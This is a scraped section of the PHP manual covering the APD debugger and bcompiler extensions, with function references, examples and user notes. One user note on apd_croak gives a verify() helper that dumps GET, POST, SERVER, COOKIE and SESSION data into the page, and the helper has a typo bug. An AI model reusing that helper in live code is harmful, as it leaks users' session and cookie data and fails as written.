1. Profiling PHP Applications ( http://www.schlossnagle.org/~george/talks/Profiling-phpworks-2004.pdf ), [1.40 MB], George Schlossnagle, 2004-09-23
2. PHP Performance Profiling ( http://www.linuxjournal.com/article/7213 ), [13.16 KB], Jonathan Oxer, 2003-10-21
3. APD Wiki ( http://www.wiki.cc/php/Apd )

HTH,
R. Rajesh Jeba Anbiah
yoghurtmetperzik at gmail dot com 25-Jan-2005 07:15
If pprofp reports 'No such file or directory', it's probably because it contains an incorrect path to your php client. Open pprofp in your fav editor, edit the first line, and try again.
How to use PHP-APD in your scripts
apd_breakpoint
APD


Stops the interpreter and waits on a CR from the socket

APD Functions
apd_callstack
APD Functions
PHP Manual

apd_breakpoint

(PECL apd >= 0.2)

apd_breakpoint — Stops the interpreter and waits on a CR from the socket

Description

bool apd_breakpoint ( int $debug_level )

This can be used to stop the running of your script, and await responses on the connected socket. To step the program, just send enter (a blank line), or enter a php command to be executed.

Parameters

debug_level

An integer which is formed by adding together the XXX_TRACE constants.

It is not recommended to use MEMORY_TRACE. It is very slow and does not appear to be accurate. ASSIGNMENT_TRACE is not implemented yet.

To turn on all functional traces (TIMING, FUNCTIONS, ARGS SUMMARY (like strace -c)) use the value 99

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Typical session using tcplisten

bash#tcplisten localhost 7777

APD - Advanced PHP Debugger Trace File
---------------------------------------------------------------------------
Process Pid (6118)
Trace Begun at Sun Mar 10 23:13:12 2002
---------------------------------------------------------------------------
(  0.000000): apd_set_session_trace called at /home/alan/Projects/project2/test.
php:5
(  0.074824): apd_set_session_trace_socket() at /home/alan/Projects/project2/tes
t.php:5 returned.  Elapsed (0.074824)
(  0.074918): apd_breakpoint() /home/alan/Projects/project2/test.php:7
              ++ argv[0] $(??) = 9
apd_breakpoint() at /home/alan/Projects/project2/test.php:7 returned.  Elapsed (
-2089521468.1073275368)
>\n
statement: /home/alan/Projects/project2/test.php:8
>\n
statement: /home/alan/Projects/project2/test.php:8
>\n
statement: /home/alan/Projects/project2/test.php:10
>apd_echo($i);
EXEC: apd_echo($i);
0
>apd_echo(serialize(apd_get_active_symbols()));
EXEC:  apd_echo(serialize(apd_get_active_symbols()));
a:47:{i:0;s:4:"PWD";i:1;s:10:"COLORFGBG";i:2;s:11:"XAUTHORITY";i:3;s:14:"
COLORTERM_BCE";i:4;s:9:"WINDOWID";i:5;s:14:"ETERM_VERSION";i:6;s:16:"SE
SSION_MANAGER";i:7;s:4:"PS1";i:8;s:11:"GDMSESSION";i:9;s:5:"USER";i:10;s:5:"
MAIL";i:11;s:7:"OLDPWD";i:12;s:5:"LANG";i:13;s:10:"COLORTERM";i:14;s:8:"DISP
LAY";i:15;s:8:"LOGNAME";i:16;s:6:"
>apd_echo(system('ls /home/mydir'));
........
>apd_continue(0);

User Contributed Notes

There are no user contributed notes for this page.
APD Functions
apd_callstack
APD Functions


Returns the current call stack as an array

apd_breakpoint
apd_clunk
APD Functions
PHP Manual

apd_callstack

(PECL apd 0.2-0.4)

apd_callstack — Returns the current call stack as an array

Description

array apd_callstack ( void )

Returns the current call stack as an array

Return Values

An array containing the current call stack.

Examples

Example #1 apd_callstack() example

<?php
print_r(apd_callstack());
?>

User Contributed Notes

andrewpunch at bigfoot.com 11-Sep-2005 02:59
The returned array contains an array of arrays.

Each array appears to contain:
[0] = function name
[1] = filename that contains function
[2] = *calling* line number in *calling* file
[3] = An array which is usually empty
apd_breakpoint
apd_clunk
APD Functions


Throw a warning and a callstack

apd_callstack
apd_continue
APD Functions
PHP Manual

apd_clunk

(PECL apd 0.2-0.4)

apd_clunk — Throw a warning and a callstack

Description

void apd_clunk ( string $warning [, string $delimiter ] )

Behaves like perl's Carp::cluck. Throw a warning and a callstack.

Parameters

warning

The warning to throw.

delimiter

The delimiter. Default to <BR />.

Return Values

No value is returned.

Examples

Example #1 apd_clunk() example

<?php
apd_clunk("Some Warning", "<br/>");
?>

See Also

  • apd_croak() - Throw an error, a callstack and then exit

User Contributed Notes

There are no user contributed notes for this page.
apd_callstack
apd_continue
APD Functions


Restarts the interpreter

apd_clunk
apd_croak
APD Functions
PHP Manual

apd_continue

(PECL apd >= 0.2)

apd_continue — Restarts the interpreter

Description

bool apd_continue ( int $debug_level )

Usually sent via the socket to restart the interpreter.

Parameters

debug_level

An integer which is formed by adding together the XXX_TRACE constants.

It is not recommended to use MEMORY_TRACE. It is very slow and does not appear to be accurate. ASSIGNMENT_TRACE is not implemented yet.

To turn on all functional traces (TIMING, FUNCTIONS, ARGS SUMMARY (like strace -c)) use the value 99

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apd_continue() example

<?php
apd_continue(0);
?>

User Contributed Notes

There are no user contributed notes for this page.
apd_clunk
apd_croak
APD Functions


Throw an error, a callstack and then exit

apd_continue
apd_dump_function_table
APD Functions
PHP Manual

apd_croak

(PECL apd 0.2-0.4)

apd_croak — Throw an error, a callstack and then exit

Description

void apd_croak ( string $warning [, string $delimiter ] )

Behaves like perl's Carp::croak. Throw an error, a callstack and then exit.

Parameters

warning

The warning to throw.

delimiter

The delimiter. Default to <BR />.

Return Values

No value is returned.

Examples

Example #1 apd_croak() example

<?php
apd_croak("Some Warning","<P>");
?>

See Also

  • apd_clunk() - Throw a warning and a callstack

User Contributed Notes

php at peous dot com 05-Jul-2005 12:18
A function that "ASSERTS", ie that dies if the boolean in parameter is false
ex: verify( $myDatabase->Connect() );

<?php
function verify( $bResult )
{
    if (!bResult)
    {
        echo "<hr><h1>ERROR</h1><hr>";
        echo "<pre>Last call arguments:\n";
        for($i=0;$i<func_num_args();$i++)
        {    echo "&rarr;";
            print_r( func_get_arg ($i) );
            echo "&larr;\n";
        }
        if (sizeof($_GET))
        {    echo "<hr>GET VARS\n";
            print_r( $_GET );
        }
        if (sizeof($_POST))
        {    echo "<hr>POST VARS\n";
            print_r( $_POST );
        }
        if (sizeof($_SERVER))
        {    echo "<hr>SERVER VARS\n";
            print_r( $_SERVER );
        }
        if (sizeof($_COOKIE ))
        {    echo "<hr>COOKIE VARS\n";
            print_r( $_COOKIE  );
        }
        // Disable if not on a protected server
        if (sizeof($_SESSION ))
        {    echo "<hr>SESSION VARS\n";
            print_r( $_SESSION  );
        }
        echo "</pre>";
        echo "<hr>";
        if (function_exists("apd_callstack"))
        {    apd_croak("Error !");
        }
        else
        {    die(1);
        }
    }
}
?>
apd_continue
apd_dump_function_table
APD Functions


Outputs the current function table

apd_croak
apd_dump_persistent_resources
APD Functions
PHP Manual

apd_dump_function_table

(Unknown)

apd_dump_function_table — Outputs the current function table

Description

void apd_dump_function_table ( void )

Outputs the current function table.

Return Values

No value is returned.

Examples

Example #1 apd_dump_function_table() example

<?php
apd_dump_function_table();
?>

User Contributed Notes

There are no user contributed notes for this page.
apd_croak
apd_dump_persistent_resources
APD Functions


Return all persistent resources as an array

apd_dump_function_table
apd_dump_regular_resources
APD Functions
PHP Manual

apd_dump_persistent_resources

(PECL apd 0.2-0.4)

apd_dump_persistent_resources — Return all persistent resources as an array

Description

array apd_dump_persistent_resources ( void )

Return all persistent resources as an array.

Return Values

An array containing the current call stack.

Examples

Example #1 apd_dump_persistent_resources() example

<?php
print_r(apd_dump_persistent_resources());
?>

See Also

  • apd_dump_regular_resources() - Return all current regular resources as an array

User Contributed Notes

There are no user contributed notes for this page.
apd_dump_function_table
apd_dump_regular_resources
APD Functions


Return all current regular resources as an array

apd_dump_persistent_resources
apd_echo
APD Functions
PHP Manual

apd_dump_regular_resources

(PECL apd 0.2-0.4)

apd_dump_regular_resources — Return all current regular resources as an array

Description

array apd_dump_regular_resources ( void )

Return all current regular resources as an array.

Return Values

An array containing the current regular resources.

Examples

Example #1 apd_dump_regular_resources() example

<?php
print_r(apd_dump_regular_resources());
?>

See Also

  • apd_dump_persistent_resources() - Return all persistent resources as an array

User Contributed Notes

There are no user contributed notes for this page.
apd_dump_persistent_resources
apd_echo
APD Functions


Echo to the debugging socket

apd_dump_regular_resources
apd_get_active_symbols
APD Functions
PHP Manual

apd_echo

(PECL apd >= 0.2)

apd_echo — Echo to the debugging socket

Description

bool apd_echo ( string $output )

Usually sent via the socket to request information about the running script.

Parameters

output

The debugged variable.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apd_echo() example

<?php
apd_echo($i);
?>

User Contributed Notes

There are no user contributed notes for this page.
apd_dump_regular_resources
apd_get_active_symbols
APD Functions


Get an array of the current variables names in the local scope

apd_echo
apd_set_pprof_trace
APD Functions
PHP Manual

apd_get_active_symbols

(PECL apd 0.2)

apd_get_active_symbols — Get an array of the current variables names in the local scope

Description

array apd_get_active_symbols ( void )

Returns the names of all the variables defined in the active scope, (not their values).

Return Values

A multidimensional array with all the variables.

Examples

Example #1 apd_get_active_symbols() example

<?php
apd_echo(apd_get_active_symbols());
?>

User Contributed Notes

There are no user contributed notes for this page.
apd_echo
apd_set_pprof_trace
APD Functions


Starts the session debugging

apd_get_active_symbols
apd_set_session_trace_socket
APD Functions
PHP Manual

apd_set_pprof_trace

(PECL apd >= 0.2)

apd_set_pprof_trace — Starts the session debugging

Description

string apd_set_pprof_trace ([ string $dump_directory [, string $fragment = "pprof" ]] )

Starts debugging to pprof_{process_id} in the dump directory.

Parameters

dump_directory

The directory in which the profile dump file is written. If not set, the apd.dumpdir setting from the php.ini file is used.

fragment

Return Values

Returns path of the destination file.

Examples

Example #1 apd_set_pprof_trace() example

<?php
apd_set_pprof_trace();
?>

See Also

  • apd_set_session_trace() - Starts the session debugging

User Contributed Notes

There are no user contributed notes for this page.
apd_get_active_symbols
apd_set_session_trace_socket
APD Functions


Starts the remote session debugging

apd_set_pprof_trace
apd_set_session_trace
APD Functions
PHP Manual

apd_set_session_trace_socket

(PECL apd >= 0.2)

apd_set_session_trace_socket — Starts the remote session debugging

Description

bool apd_set_session_trace_socket ( string $tcp_server , int $socket_type , int $port , int $debug_level )

Connects to the specified tcp_server (eg. tcplisten) and sends debugging data to the socket.

Parameters

tcp_server

IP or Unix Domain socket (like a file) of the TCP server.

socket_type

Can be AF_UNIX for file based sockets or APD_AF_INET for standard tcp/ip.

port

You can use any port, but higher numbers are better as most of the lower numbers may be used by other system services.

debug_level

An integer which is formed by adding together the XXX_TRACE constants.

It is not recommended to use MEMORY_TRACE. It is very slow and does not appear to be accurate. ASSIGNMENT_TRACE is not implemented yet.

To turn on all functional traces (TIMING, FUNCTIONS, ARGS SUMMARY (like strace -c)) use the value 99

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 apd_set_session_trace_socket() example

<?php
  apd_set_session_trace_socket("127.0.0.1",APD_AF_INET,7112,0);
?>

User Contributed Notes

There are no user contributed notes for this page.
apd_set_pprof_trace
apd_set_session_trace
APD Functions


Starts the session debugging

apd_set_session_trace_socket
apd_set_session
APD Functions
PHP Manual

apd_set_session_trace

(PECL apd 0.2-0.4)

apd_set_session_trace — Starts the session debugging

Description

void apd_set_session_trace ( int $debug_level [, string $dump_directory ] )

Starts debugging to apd_dump_{process_id} in the dump directory.

Parameters

debug_level

An integer which is formed by adding together the XXX_TRACE constants.

It is not recommended to use MEMORY_TRACE. It is very slow and does not appear to be accurate. ASSIGNMENT_TRACE is not implemented yet.

To turn on all functional traces (TIMING, FUNCTIONS, ARGS SUMMARY (like strace -c)) use the value 99

dump_directory

The directory in which the profile dump file is written. If not set, the apd.dumpdir setting from the php.ini file is used.

Return Values

No value is returned.

Examples

Example #1 apd_set_session_trace() example

<?php
apd_set_session_trace(99);
?>

User Contributed Notes

There are no user contributed notes for this page.
apd_set_session_trace_socket
apd_set_session
APD Functions


Changes or sets the current debugging level

apd_set_session_trace
override_function
APD Functions
PHP Manual

apd_set_session

(PECL apd 0.2-0.4)

apd_set_session — Changes or sets the current debugging level

Description

void apd_set_session ( int $debug_level )

This can be used to increase or decrease debugging in a different area of your application.

Parameters

debug_level

An integer which is formed by adding together the XXX_TRACE constants.

It is not recommended to use MEMORY_TRACE. It is very slow and does not appear to be accurate. ASSIGNMENT_TRACE is not implemented yet.

To turn on all functional traces (TIMING, FUNCTIONS, ARGS SUMMARY (like strace -c)) use the value 99

Return Values

No value is returned.

Examples

Example #1 apd_set_session() example

<?php
apd_set_session(9);
?>

User Contributed Notes

There are no user contributed notes for this page.
apd_set_session_trace
override_function
APD Functions


Overrides built-in functions

apd_set_session
rename_function
APD Functions
PHP Manual

override_function

(PECL apd >= 0.2)

override_function — Overrides built-in functions

Description

bool override_function ( string $function_name , string $function_args , string $function_code )

Overrides built-in functions by replacing them in the symbol table.

Parameters

function_name

The function to override.

function_args

The function arguments, as a comma separated string.

Usually you will want to pass this parameter, as well as the function_code parameter, as a single quote delimited string. The reason for using single quoted strings, is to protect the variable names from parsing, otherwise, if you use double quotes there will be a need to escape the variable names, e.g. \$your_var.

function_code

The new code for the function.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 override_function() example

<?php
override_function('test', '$a,$b', 'echo "DOING TEST"; return $a * $b;');
?>

User Contributed Notes

taher at unixwars dot com 28-Nov-2008 08:08
I had the same problem and, since the __overriden__() name is hardcoded, I simply ended up renaming that one. I use it like this:

<?php
function _dbslayer_map()
{
    $substs = array(
        'mysql_connect' => 'dbslayer_mysql_connect($host, $user, $pass, $new_link, $client_flags)',
        'mysql_fetch_array' => 'dbslayer_mysql_fetch_array($result, $result_type)',
        'mysql_query' => 'dbslayer_mysql_query($query, $link_identifier)'
            );

    $args = array(
        'mysql_connect' => '$host = NULL, $user = NULL, $pass = NULL, $new_link = false, $client_flags = 0',
        'mysql_fetch_array' => '&$result, $result_type = MYSQL_BOTH',
        'mysql_query' => '$query, $link_identifier = DEFAULT_LINK'
            );

    foreach ($substs as $func => $ren_func) {
        override_function($func, $args[$func], "return $substs[$func];");
              rename_function("__overridden__", $ren_func);
      }
}
?>

So far, so good.
pagan at o2 dot pl 24-Oct-2008 12:34
There is not chance to override 2 or more functions, because of the error:
Fatal error: Cannot redeclare __overridden__()
rojaro at gmail dot com 20-Sep-2005 12:13
Since Apache 1 & 2 use diffrent methods (Unicode vs. UTF8) on Win32 platforms to encode urls, i've implemented the following workaround to get around this "bug" (which is actually known behaviour and wont get fixed). This workaround is really usefull when writing PHP scripts which have to work on all platforms (Windows, Linux, BSD etc.), must process URLs and must work under both Apache versions.

<?php
$httpd = explode(' ', $_SERVER['SERVER_SOFTWARE']);
if(substr($httpd[0], 0, 6)=='Apache' && substr($httpd[0], 7, 1)==2 && $httpd[1]=='(Win32)')
{
  if(isset($_SERVER['REQUEST_URI'])) $_SERVER['REQUEST_URI'] = str_replace('%2F', '/', rawurlencode(utf8_decode(rawurldecode($_SERVER['REQUEST_URI']))));
  if(isset($_SERVER['REDIRECT_URL'])) $_SERVER['REDIRECT_URL'] = str_replace('%2F', '/', rawurlencode(utf8_decode(rawurldecode($_SERVER['REDIRECT_URL']))));
  override_function('urlencode', '$url', 'return str_replace("%2F", "/", rawurlencode(utf8_encode($url)));');
}
?>
php at undeen dot com 10-Mar-2005 12:07
I thought the example was not very helpful, because it doesn't even override the function with another function.
My question was: If I override a function, can I call the ORIGINAL function within the OVERRIDING function?
ie, can I do this:
<?php
override_function('strlen', '$string', 'return override_strlen($string);');
function override_strlen($string){
        return strlen($string);
}
?>
The answer: NO, you will get a segfault.

HOWEVER, if you use rename_function to rename the original function to a third name, then call the third name in the OVERRIDING function, you will get the desired effect:
<?php
rename_function('strlen', 'new_strlen');
override_function('strlen', '$string', 'return override_strlen($string);');

function override_strlen($string){
        return new_strlen($string);
}
?>

I plan to use this functionality to generate log reports every time a function is called, with the parameters, time, result, etc... So to wrap a function in logging, that was what I had to do.
apd_set_session
rename_function
APD Functions


Renames orig_name to new_name in the global function table

override_function
bcompiler
APD Functions
PHP Manual

rename_function

(PECL apd >= 0.2)

rename_function — Renames orig_name to new_name in the global function table

Description

bool rename_function ( string $original_name , string $new_name )

Renames a orig_name to new_name in the global function table. Useful for temporarily overriding built-in functions.

Parameters

original_name

The original function name.

new_name

The new name for the original_name function.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 rename_function() example

<?php
rename_function('mysql_connect', 'debug_mysql_connect' );
?>

User Contributed Notes

Matt 23-Mar-2006 03:23
As of apd 1.0.1, rename_function is case sensitive.  The parameter original_name must be all lowercase for it to work properly.  Your function can still be camel case, for example, but you must specify that function as all lower case for the original_name parameter.
override_function
bcompiler
APD Functions


PHP bytecode Compiler

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • bcompiler Functions
    • bcompiler_load_exe — Reads and creates classes from a bcompiler exe file
    • bcompiler_load — Reads and creates classes from a bz compressed file
    • bcompiler_parse_class — Reads the bytecodes of a class and calls back to a user function
    • bcompiler_read — Reads and creates classes from a filehandle
    • bcompiler_write_class — Writes an defined class as bytecodes
    • bcompiler_write_constant — Writes a defined constant as bytecodes
    • bcompiler_write_exe_footer — Writes the start pos, and sig to the end of a exe type file
    • bcompiler_write_file — Writes a php source file as bytecodes
    • bcompiler_write_footer — Writes the single character \x00 to indicate End of compiled data
    • bcompiler_write_function — Writes an defined function as bytecodes
    • bcompiler_write_functions_from_file — Writes all functions defined in a file as bytecodes
    • bcompiler_write_header — Writes the bcompiler header
    • bcompiler_write_included_filename — Writes an included file as bytecodes

User Contributed Notes

rustushki 29-Dec-2010 10:05
It looks like as of bcompiler 0.9.3 geoff's code above works correctly with the output:

static
construct
testOut
geoff at spacevs dot com 08-Apr-2010 03:08
static vars on classes do not work with bcompiler, eg.

<?PHP
        class testClass {
                static public $i;

                static public function testStatic() {
                        echo "static\n";
                        testClass::$i = new testClass();
                }

                public function __construct() {
                        echo "construct\n";
                }

                public function testOut() {
                        echo "testOut\n";
                }
        }

        testClass::testStatic();
        testClass::$i->testOut();
?>

the call to "testOut" will silently fail.
rename_function
Introduction
Affecting PHP's Behaviour


Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

Bcompiler was written for several reasons:

  • To encode entire script in a proprietary PHP application
  • To encode some classes and/or functions in a proprietary PHP application
  • To enable the production of php-gtk applications that could be used on client desktops, without the need for a php.exe.
  • To do the feasibility study for a PHP to C converter
The first of these goals is achieved using the bcompiler_write_header(), bcompiler_write_file() and bcompiler_write_footer() functions. The bytecode files can be written as either uncompressed or plain. To use the generated bytecode, you can simply include it with include or require statements.

The second of these goals is achieved using the bcompiler_write_header(), bcompiler_write_class(), bcompiler_write_footer(), bcompiler_read(), and bcompiler_load() functions. The bytecode files can be written as either uncompressed or plain. The bcompiler_load() reads a bzip compressed bytecode file, which tends to be 1/3 of the size of the original file.

To create EXE type files, bcompiler has to be used with a modified sapi file or a version of PHP which has been compiled as a shared library. In this scenario, bcompiler reads the compressed bytecode from the end of the exe file.

bcompiler can improve performance by about 30% when used with uncompressed bytecodes only. But keep in mind that uncompressed bytecode can be up to 5 times larger than the original source code. Using bytecode compression can save your space, but decompression requires much more time than parsing a source. bcompiler also does not do any bytecode optimization, this could be added in the future...

In terms of code protection, it is safe to say that it would be impossible to recreate the exact source code that it was built from, and without the accompanying source code comments. It would effectively be useless to use the bcompiler bytecodes to recreate and modify a class. However it is possible to retrieve data from a bcompiled bytecode file - so don't put your private passwords or anything in it.

User Contributed Notes

There are no user contributed notes for this page.
bcompiler
Installing/Configuring
bcompiler


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
bcompiler


Requirements

No external libraries are needed to build this extension.

User Contributed Notes

Nikita 19-Mar-2010 04:28
When build on linux bzlib lib & headers are required.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/bcompiler.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

This extension has no configuration directives defined in php.ini.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
bcompiler Functions
bcompiler


bcompiler Functions

Contact Information

If you have comments, bugfixes, enhancements or want to help developing this beast, you can drop me a mail at » alan_k@php.net. Any help is very welcome.

Table of Contents

  • bcompiler_load_exe — Reads and creates classes from a bcompiler exe file
  • bcompiler_load — Reads and creates classes from a bz compressed file
  • bcompiler_parse_class — Reads the bytecodes of a class and calls back to a user function
  • bcompiler_read — Reads and creates classes from a filehandle
  • bcompiler_write_class — Writes an defined class as bytecodes
  • bcompiler_write_constant — Writes a defined constant as bytecodes
  • bcompiler_write_exe_footer — Writes the start pos, and sig to the end of a exe type file
  • bcompiler_write_file — Writes a php source file as bytecodes
  • bcompiler_write_footer — Writes the single character \x00 to indicate End of compiled data
  • bcompiler_write_function — Writes an defined function as bytecodes
  • bcompiler_write_functions_from_file — Writes all functions defined in a file as bytecodes
  • bcompiler_write_header — Writes the bcompiler header
  • bcompiler_write_included_filename — Writes an included file as bytecodes

User Contributed Notes

mail - at- albertkok - dot - com 01-Oct-2009 04:06
It's been a while since my past post, but yes, I'm still using bcompiler. I just found another problem that I think you should be aware of. It took me hours to find.

It pretty much comes to this: When compiling on a 64-bit Linux operating system, your compiled code will NOT run on a 32-bit version, and visa versa. It will merely echo the file's content.

Regards,
Albert Kok
codeslinger+uph80111 at compsalot dot com 11-Jan-2008 09:16
try this, I believe that it will solve the problem with __FILE__

<?php

    eval("\$Foo = dirname(__FILE__);");
    echo "\n<br>FILE = '$Foo'\n";

?>
Albert Kok 24-Oct-2007 04:08
A few notes to succesfully configure PHP5 to load bcompiler.

In case of using Debian/Ubuntu Linux: When installing from the PECL (PEAR) package, make sure you have the php5-dev library installed in your system (apt-get install php5-dev).

Newer versions of Ubuntu may error out while installing bcompiler thru PECL, asking you to reinstall bzip2. This will not fix the installation. Instead, install the libbz2-dev library (apt-get install libbz2-dev) and try installing bcompiler from PECL again.

After installing bcompiler from PECL, don't forget to make sure you load the bcompiler.so library in your PHP configuration for the new bcompiler functions to become available. This is done by adding the following line to the bottom of your php.ini file(s):

extension=bcompiler.so

If you were to use the bcompiler functions thru your webserver, you need to restart it to reload the php configuration.

Regards,
Albert Kok
roberto at spadim dot net dot br 24-Jun-2007 10:33
hello guys, since bencoder don't work for __FILE__ constants i have a bcompiler script working, anyone that want it can send me an email
the source is 100% compatible with original file, the only problem is php5 new function methods that
<?
if (!function_exists('function_name')){
 function function_name()
}
?>
don't work but it's a php5 new method for understand bytecode
cdsheen+bencoder at gmail dot com 25-Jul-2006 05:58
Here's a script to act as a front-end for bcompiler, which may be very similar to the eA ones:

http://bbs.giga.net.tw/bencoder.php

BENCODER v1.1 - Encode your PHP script using bcompiler

Usage: bencoder [-f] -o FILE    file1.php
       bencoder [-f] -o OUTDIR  file1.php file2.php ...
       bencoder [-f] -o OUTDIR  -a SRCDIR  [-s SUFFIX] [-c] [-r]

  -f        : force overwriting even if the target exists
  -o FILE   : the file name to write the encoded script
              (default to '-encoded.php' suffix)
  -o OUTDIR : the directory to write all encoded files

  -a SRCDIR : encode all files in this source directory
  -s SUFFIX : encode the files with the SUFFIX extension only (default: php)
  -c        : copy files those shouldn't be encoded (no by default)
arplynn at gmail dot com 28-Apr-2006 08:49
PHP seems to choke on trying to compile PHP5 classes with the private, protected or public modifiers. Additionally, when including files with properly compiled classes on PHP5, it works fine but when php tries to exit it throws a segmentation fault.

It's just not a great idea to use bcompiler for anything other than functions on PHP5, at least for now.
tda at example dot com 07-Feb-2006 05:50
Creating a function after checking if a function exists using function_exists will result in a "Zero Sized Reply" error.

<?php
this does NOT work any longer:
if (!function_exists("file_get_contents")) {
        function file_get_contents($filename, $use_include_path = 0)
        { /*...define your own function here...*/ }
}
?>

Apache returns: "Zero Sized Reply" after compilation.
Predefined Constants
bcompiler_load_exe
bcompiler


Reads and creates classes from a bcompiler exe file

bcompiler Functions
bcompiler_load
bcompiler Functions
PHP Manual

bcompiler_load_exe

(PECL bcompiler >= 0.4)

bcompiler_load_exe — Reads and creates classes from a bcompiler exe file

Description

bool bcompiler_load_exe ( string $filename )

Reads data from a bcompiler exe file and creates classes from the bytecodes.

Parameters

filename

The exe file path, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_load_exe() example

<?php

bcompiler_load_exe("/tmp/example.exe");
print_r(get_defined_classes());

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • bcompiler_load() - Reads and creates classes from a bz compressed file

User Contributed Notes

Sinured 01-Jul-2007 03:59
foo.exe (compiled):
<?php
class myclass {
    static $scalar = 'Hello World!';
}
?>

foo.php:
<?php
include 'foo.exe';
echo myclass::$scalar;
?>

As you can see, simply including the file will also work perfectly (oh joy!)
bcompiler Functions
bcompiler_load
bcompiler Functions


Reads and creates classes from a bz compressed file

bcompiler_load_exe
bcompiler_parse_class
bcompiler Functions
PHP Manual

bcompiler_load

(PECL bcompiler >= 0.4)

bcompiler_load — Reads and creates classes from a bz compressed file

Description

bool bcompiler_load ( string $filename )

Reads data from a bzcompressed file and creates classes from the bytecodes.

Parameters

filename

The bzcompressed file path, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_load() example

<?php

bcompiler_load("/tmp/example");

print_r(get_defined_classes());

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Note:

Please use include or require statements to parse bytecodes, it's more portable and convenient way than using this function.

Please note that this function won't execute script body code contained in the bytecode file.

See Also

  • bcompiler_load_exe() - Reads and creates classes from a bcompiler exe file

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_load_exe
bcompiler_parse_class
bcompiler Functions


Reads the bytecodes of a class and calls back to a user function

bcompiler_load
bcompiler_read
bcompiler Functions
PHP Manual

bcompiler_parse_class

(PECL bcompiler >= 0.4)

bcompiler_parse_class — Reads the bytecodes of a class and calls back to a user function

Description

bool bcompiler_parse_class ( string $class , string $callback )

Reads the bytecodes of a class and calls back to a user function.

Parameters

class

The class name, as a string.

callback

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_parse_class() example

<?php

function readByteCodes($data) {
    print_r($data);
}

bcompiler_parse_class("DB","readByteCodes");

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Note:

This function has been removed from bcompiler and is no longer available as of bcompiler 0.5.

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_load
bcompiler_read
bcompiler Functions


Reads and creates classes from a filehandle

bcompiler_parse_class
bcompiler_write_class
bcompiler Functions
PHP Manual

bcompiler_read

(PECL bcompiler >= 0.4)

bcompiler_read — Reads and creates classes from a filehandle

Description

bool bcompiler_read ( resource $filehandle )

Reads data from a open file handle and creates classes from the bytecodes.

Parameters

filehandle

A file handle as returned by fopen().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_read() example

<?php
$fh = fopen("/tmp/example","r");
bcompiler_read($fh);
fclose($fh);
print_r(get_defined_classes());

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Note:

Please use include or require statements to parse bytecodes, it's more portable and convenient way than using this function.

Please note that this function won't execute script body code contained in the bytecode file.

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_parse_class
bcompiler_write_class
bcompiler Functions


Writes an defined class as bytecodes

bcompiler_read
bcompiler_write_constant
bcompiler Functions
PHP Manual

bcompiler_write_class

(PECL bcompiler >= 0.4)

bcompiler_write_class — Writes an defined class as bytecodes

Description

bool bcompiler_write_class ( resource $filehandle , string $className [, string $extends ] )

Reads the bytecodes from PHP for an existing class, and writes them to the open file handle.

Parameters

filehandle

A file handle as returned by fopen().

className

The class name, as a string.

extends

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_class() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_class($fh,"DB");
// you must write DB_common before DB_mysql, as DB_mysql extends DB_common.
bcompiler_write_class($fh,"DB_common");
bcompiler_write_class($fh,"DB_mysql");
bcompiler_write_footer($fh);
fclose($fh);

?>

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Note:

This function does not perform dependency checking, so make sure you write the classes in an order that will not result in an undefined class error occurring when you load it.

See Also

  • bcompiler_write_header() - Writes the bcompiler header
  • bcompiler_write_footer() - Writes the single character \x00 to indicate End of compiled data

User Contributed Notes

There are no user contributed notes for this page.
bcompiler_read
bcompiler_write_constant
bcompiler Functions


Writes a defined constant as bytecodes

bcompiler_write_class
bcompiler_write_exe_footer
bcompiler Functions
PHP Manual

bcompiler_write_constant

(PECL bcompiler >= 0.5)

bcompiler_write_constant — Writes a defined constant as bytecodes

Description

bool bcompiler_write_constant ( resource $filehandle , string $constantName )

Reads the bytecodes from PHP for an existing constant, and writes them to the open file handle.

Parameters

filehandle

A file handle as returned by fopen().

constantName

The name of the defined constant, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcompiler_write_constant() example

<?php
define("MODULE_MAX", 30);

